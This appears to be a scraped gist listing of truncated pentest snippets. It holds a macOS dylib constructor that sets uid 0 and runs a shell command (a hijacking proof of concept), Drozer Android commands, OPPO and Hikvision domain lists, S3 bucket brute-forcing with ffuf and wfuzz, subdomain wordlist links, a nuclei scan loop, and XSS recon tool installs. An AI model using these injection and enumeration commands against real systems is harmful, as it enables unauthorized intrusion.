michaellcader

#include <stdio.h>
#include <syslog.h>
#include <stdlib.h>

__attribute__((constructor))
static void customConstructor(int argc, const char **argv)
 {
	setuid(0);
 	system("id");
	printf("Hello from dylib!\n");

michaellcader

Drozer allows you to search for security vulnerabilities in apps and devices by assuming the role of an app and interacting with the Dalvik VM, other apps' IPC endpoints and the underlying OS.

    * Starting a session
      * `adb forward tcp:31415 tcp:31415`
      * `drozer console connect`
      * `drozer console connect --server <ip>`
    * List modules
 * `ls`

michaellcader

oppo.com
oppo.cn
myoppo.com
opposhop.cn
coloros.com
nearme.com.cn
oppomobile.com
oppofind.com
myoas.com
heytap.com

michaellcader

ys7.com
ezvizlife.com
eziot.com
ezviz7.com
guardingvision.com
hicloudcam.com
shipin7.com
hik-connect.com
hikops.com 

michaellcader

#!/bin/bash

Ffuf (faster):
ffuf -u "https://s3.REGION.amazonaws.com/COMPANYDELIMITERENVIRONMENT" -w "aws-regions.txt:REGION" -w "company.txt:COMPANY" -w "delimiters.txt:DELIMITER" -w "/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:ENVIRONMENT" -mc 200 -v


Wfuzz:
wfuzz -u "https://s3.FUZZ.amazonaws.com/FUZ2ZFUZ3ZFUZ4Z" -w aws-regions.txt -w company.txt -w delimiters.txt -w "/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt" --sc 200 -v -t 50

The files:

michaellcader

#!/bin/bash

echo "###############################"
echo "#           Ffuf              #"
echo "###############################"
echo ""
echo ""
echo "[1] subdomains.txt"
echo "[2] subdomain-large.txt"
echo "[3] raft-large-directories.txt"

michaellcader

🚨🔺15 Million Subdomain Wordlist🔻 🧱🔨👀

https://anonfiles.com/X3ddl4L5ob/15m_sub_wordlist.txt_zip

cmd@fb:/tmp|❯ wc -l 15m_sub_wordlist.txt
 15677820 15m_sub_wordlist.txt

⏳🔺33 Million Subdomain Wordlist🔻🧱🔨👀

https://anonfiles.com/L6hfleLao0/33m-subdomain-wordlist.txt_zip

cmd@fb:/tmp|❯ wc -l 33m-subdomain-wordlist.txt

michaellcader

tmux shortcuts & cheatsheet

start new:

tmux

start new with session name:

tmux new -s myname

michaellcader

#!/bin/bash

OUT=~/nuclei-results/$1
TPL=~/nuclei-templates
mkdir -p ${OUT}
SUB=$(subfinder -d $1 -silent | httprobe | tee ${OUT}/$1.txt)

cd ${TPL}; git pull origin master && cd -
for tpl in $(find $TPL -name "*.yaml"); do $GOPATH/bin/nuclei -l ${OUT}/$1.txt -t $tpl -o "${OUT}/$(basename "$tpl" .yaml).txt"; done
find ${OUT} -name "*.txt" -size 0 -delete

michaellcader

###
# ▶ go get -u github.com/lc/gau
# ▶ go get -u github.com/tomnomnom/qsreplace
# ▶ go get -u github.com/tomnomnom/hacks/kxss
# ▶ go get -u github.com/hahwul/dalfox
# ▶ git clone https://github.com/dwisiswant0/DSSS
###

gauq() {